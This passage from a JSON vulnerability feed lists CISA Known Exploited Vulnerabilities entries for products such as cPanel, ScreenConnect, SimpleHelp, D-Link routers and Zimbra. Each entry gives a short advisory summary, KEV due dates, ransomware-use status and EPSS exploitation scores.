unauthorized access to the control panel.","detail":"CISA added this entry on 2026-04-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-30","updatedAt":null,"regions":["Global"],"vendor":"WebPros","product":"cPanel & WHM and WP2 (WordPress Squared)","stacks":["WordPress","WebPros","cPanel & WHM and WP2 (WordPress Squared)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-30","dueAt":"2026-05-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98527,"percentile":0.99921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-41940&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-41940","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-41940 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41940&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-41940, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-1708","cveId":"CVE-2024-1708","aliases":[],"kind":"vulnerability","title":"ConnectWise ScreenConnect Path Traversal Vulnerability","summary":"ConnectWise ScreenConnect contains a path traversal vulnerability which could allow an attacker to execute remote code or directly impact confidential data and critical systems.","detail":"CISA added this entry on 2026-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-28","updatedAt":null,"regions":["Global"],"vendor":"ConnectWise","product":"ScreenConnect","stacks":["ConnectWise","ScreenConnect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-28","dueAt":"2026-05-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95436,"percentile":0.99868,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-1708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-1708","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-1708 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-1708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-1708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32202","cveId":"CVE-2026-32202","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Protection Mechanism Failure Vulnerability","summary":"Microsoft Windows Shell contains a protection mechanism failure vulnerability that allows an unauthorized attacker to perform spoofing over a network.","detail":"CISA added this entry on 2026-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-28","dueAt":"2026-05-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70902,"percentile":0.99396,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-32202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-32202","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-32202 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-32202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-32202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-57726","cveId":"CVE-2024-57726","aliases":[],"kind":"vulnerability","title":"SimpleHelp Missing Authorization Vulnerability","summary":"SimpleHelp contains a missing authorization vulnerability that could allow low-privileged technicians to create API keys with excessive permissions. These API keys can be used to escalate privileges to the server admin role.","detail":"CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-24","updatedAt":null,"regions":["Global"],"vendor":"SimpleHelp","product":"SimpleHelp","stacks":["SimpleHelp"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-24","dueAt":"2026-05-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.66414,"percentile":0.99278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-57726&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-57726","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-57726 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-57726&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-57726, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-57728","cveId":"CVE-2024-57728","aliases":[],"kind":"vulnerability","title":"SimpleHelp Path Traversal Vulnerability","summary":"SimpleHelp contains a path traversal vulnerability that allows admin users to upload arbitrary files anywhere on the file system by uploading a crafted zip file (i.e. zip slip). This can be exploited to execute arbitrary code on the host in the context of the SimpleHelp server user.","detail":"CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-24","updatedAt":null,"regions":["Global"],"vendor":"SimpleHelp","product":"SimpleHelp","stacks":["SimpleHelp"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-24","dueAt":"2026-05-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.64468,"percentile":0.9923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-57728&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-57728","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-57728 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-57728&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-57728, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-7399","cveId":"CVE-2024-7399","aliases":[],"kind":"vulnerability","title":"Samsung MagicINFO 9 Server Path Traversal Vulnerability","summary":"Samsung MagicINFO 9 Server contains a path traversal vulnerability that could allow an attacker to write arbitrary files as system authority.","detail":"CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-24","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"MagicINFO 9 Server","stacks":["Samsung mobile","Samsung","MagicINFO 9 Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-24","dueAt":"2026-05-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91941,"percentile":0.99818,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-7399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-7399","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-7399 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-7399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-7399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-29635","cveId":"CVE-2025-29635","aliases":[],"kind":"vulnerability","title":"D-Link DIR-823X Command Injection Vulnerability","summary":"D-Link DIR-823X contains a command injection vulnerability that allows an authorized attacker to execute arbitrary commands on remote devices by sending a POST request to /goform/set_prohibiting via the corresponding function. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-24","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-823X","stacks":["D-Link","DIR-823X"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-24","dueAt":"2026-05-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87944,"percentile":0.99761,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-29635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-29635","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-29635 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-29635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-29635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39987","cveId":"CVE-2026-39987","aliases":[],"kind":"vulnerability","title":"Marimo Remote Code Execution Vulnerability","summary":"Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands.","detail":"CISA added this entry on 2026-04-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-23","updatedAt":null,"regions":["Global"],"vendor":"Marimo","product":"Marimo","stacks":["Marimo"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-23","dueAt":"2026-05-07","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99564,"percentile":0.99946,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-39987&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-39987","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-39987 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-39987&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-39987, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33825","cveId":"CVE-2026-33825","aliases":[],"kind":"vulnerability","title":"Microsoft Defender Insufficient Granularity of Access Control Vulnerability","summary":"Microsoft Defender contains an insufficient granularity of access control vulnerability that could allow an authorized attacker to escalate privileges locally.","detail":"CISA added this entry on 2026-04-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-22","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Defender","stacks":["Microsoft Office","Microsoft","Defender"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-22","dueAt":"2026-05-06","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06749,"percentile":0.93919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33825&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-33825","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-33825 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33825&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33825, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-27351","cveId":"CVE-2023-27351","aliases":[],"kind":"vulnerability","title":"PaperCut NG/MF Improper Authentication Vulnerability","summary":"PaperCut NG/MF contains an improper authentication vulnerability that could allow remote attackers to bypass authentication on affected installations via the SecurityRequestFilter class.","detail":"CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-20","updatedAt":null,"regions":["Global"],"vendor":"PaperCut","product":"NG/MF","stacks":["PaperCut","NG/MF"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-20","dueAt":"2026-05-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78052,"percentile":0.99572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-27351&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-27351","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-27351 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-27351&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-27351, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-27199","cveId":"CVE-2024-27199","aliases":[],"kind":"vulnerability","title":"JetBrains TeamCity Relative Path Traversal Vulnerability","summary":"JetBrains TeamCity contains a relative path traversal vulnerability that could allow limited admin actions to be performed.","detail":"CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-20","updatedAt":null,"regions":["Global"],"vendor":"JetBrains","product":"TeamCity","stacks":["JetBrains TeamCity","JetBrains","TeamCity"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-20","dueAt":"2026-05-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99991,"percentile":0.99986,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-27199&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-27199","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-27199 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-27199&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-27199, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-2749","cveId":"CVE-2025-2749","aliases":[],"kind":"vulnerability","title":"Kentico Xperience Path Traversal Vulnerability","summary":"Kentico Xperience contains a path traversal vulnerability that could allow an authenticated user's Staging Sync Server to upload arbitrary data to path relative locations.","detail":"CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-20","updatedAt":null,"regions":["Global"],"vendor":"Kentico","product":"Kentico Xperience","stacks":["Kentico","Kentico Xperience"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-20","dueAt":"2026-05-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04021,"percentile":0.90504,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-2749&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-2749","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-2749 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-2749&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-2749, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-32975","cveId":"CVE-2025-32975","aliases":[],"kind":"vulnerability","title":"Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability","summary":"Quest KACE Systems Management Appliance (SMA) contains an improper authentication vulnerability that could allow attackers to impersonate legitimate users without valid credentials.","detail":"CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-20","updatedAt":null,"regions":["Global"],"vendor":"Quest","product":"KACE Systems Management Appliance (SMA)","stacks":["Quest","KACE Systems Management Appliance (SMA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-20","dueAt":"2026-05-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02487,"percentile":0.84507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-32975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-32975","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-32975 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-32975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-32975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48700","cveId":"CVE-2025-48700","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that could allow attackers to execute arbitrary JavaScript within the user's session, potentially leading to unauthorized access to sensitive information.","detail":"CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-20","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-20","dueAt":"2026-04-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01713,"percentile":0.77212,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48700&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 